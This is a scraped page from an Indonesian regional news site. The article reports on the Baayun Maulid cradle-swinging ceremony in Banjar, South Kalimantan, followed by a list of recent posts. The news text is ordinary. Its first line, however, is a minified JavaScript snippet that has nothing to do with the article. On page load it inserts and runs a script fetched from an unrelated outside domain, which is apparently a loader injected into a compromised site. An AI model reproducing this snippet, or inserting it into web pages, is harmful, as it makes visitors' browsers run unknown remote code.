(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Baayun Maulid di Guest House Sultan Sulaiman


KANALKALIMANTAN.COM, MARTAPURA – Warga mengikuti acara Baayun Maulid memperingati kelahiran Nabi Muhammad SAW di halaman Guest House Sultan Sulaiman, Kabupaten Banjar, Kalimantan Selatan, Selasa (26/9/2023) pagi.

Baayun Maulid yang merupakan tradisi religi mengayun bayi atau anak dengan membaca sholawat dan syair puji-pujian kepada Nabi Muhammad SAW tersebut diikuti ratusan peserta.

Syarifah Rizqa Alvina, ibu dari Syarifah Zainab Jinan Assegaf mengikutikan anak putrinya yang berumur 2,5 tahun dari Sekumpul. “Anak saya nomor urutan 200, mendaftarnya gratis dan ini merupakan pertama kalinya kami mengikuti Baayun Maulid,” ujarnya.

Baca juga: Tiga Juta Batang Rokok Ilegal Dimusnahkan Bea Cukai Kabagsel

Perempuan 29 tahun ini datang bersama suami dan mertuanya. “Harapan saya semoga tahun yang akan datang acara ini tetap diadakan,” ujarnya.

Tak hanya diikuti warga di Kabupaten Banjar, Kasalma (61) yang berasal dari Pasuruan, Jawa Timur mengatakan, sudah 5 hari menginap di rumah anaknya, kemudian diajak anaknya untuk ikut menghadiri acara Baayun Maulid Nabi Muhammad SAW.

“Saya pertama kali hadir di acara seperti ini,” aku nenek dari Syarifah Zainab Jinan Assegaf.

Maimun Sari (30) dari Kecamatan Martapura Timur mengatakan, sengaja mengajak anaknya Nadia Nur Afifah berusia 3 tahun untuk menjadi peserta dalam acara Baayun Maulid, anaknya mendapat nomor urutan 43.

Baca juga: Tukang Ojek di Banjarmasin Miliki 24 Paket Sabu dalam Saku Celana

Sebelumnya, warga Martapura ini mengetahui informasi dari kepala desa bahwa ada acara Baayun Maulid. Ia pun datang bersama keluarganya.

“Kami diminta membawa tapih bahalai dua lembar dan dua helai pashmina panjang, diserahkan kepada panitia acara, selebihnya mereka yang mengatur dan menyediakan kain kuning dan aksesoris lainnya hingga terlihat cantik seperti ini,” bebernya.

Plt Disbudporapar Kabupaten Banjar Irwan Jaya mengatakan, peserta Baayun Maulid lebih 200 orang, untuk usia rentang dari minimal 2 tahun dan maksimum 5 tahun.

Baca juga: Pledoi Dua Terdakwa Korupsi Wisata Tanuhi Minta Vonis Ringan

Kalau tahun lalu ada peserta untuk usia hampir 50 tahun, untuk tahun ini maksimal hanya untuk bayi dan anak-anak.

“Kegiatan ini untuk melestarikan tradisi menyambut bulan Maulid Nabi Muhammad SAW,” pungkasnya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Risa

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

2 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

3 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

4 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

5 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

8 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

11 jam ago

This website uses cookies.